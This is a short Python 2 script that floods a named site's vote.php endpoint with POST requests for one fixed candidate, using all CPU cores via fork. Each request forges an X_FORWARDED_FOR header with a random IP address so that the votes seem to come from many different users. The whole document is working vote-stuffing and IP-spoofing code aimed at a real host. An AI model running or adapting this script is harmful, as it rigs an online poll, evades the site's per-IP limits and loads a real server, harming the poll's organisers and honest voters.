# -*- coding: utf-8 -*-

import socket
import random
import time
import os, sys
import multiprocessing

ncpu = multiprocessing.cpu_count()

n = int(sys.argv[1])
# 91 2562
msg = """POST /2007/vote/vote.php HTTP/1.1
Host: su.100steps.net
Connection: keep-alive
Content-Length: 88
Content-Type: application/x-www-form-urlencoded
X_FORWARDED_FOR: {0}

tid=91&vid=2562&validator=&submit=%B8%F8%CE%D2%CD%B6%C9%CF%B1%A6%B9%F3%D2%BB%C6%B1%B0%C9"""

def run(n):    
    for i in range(n):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("su.100steps.net",80))
        ip = "125.217." + str(random.randint(240,250)) + "." + str(random.randint(0,255))
        s.send(msg.format(ip))
        s.close()

t = time.time()    
for i in range(ncpu):
    if not os.fork():
        break
else:
    os.wait()
    run(n % ncpu)
    print time.time() - t
    sys.exit(0)
    
run(n/ncpu)
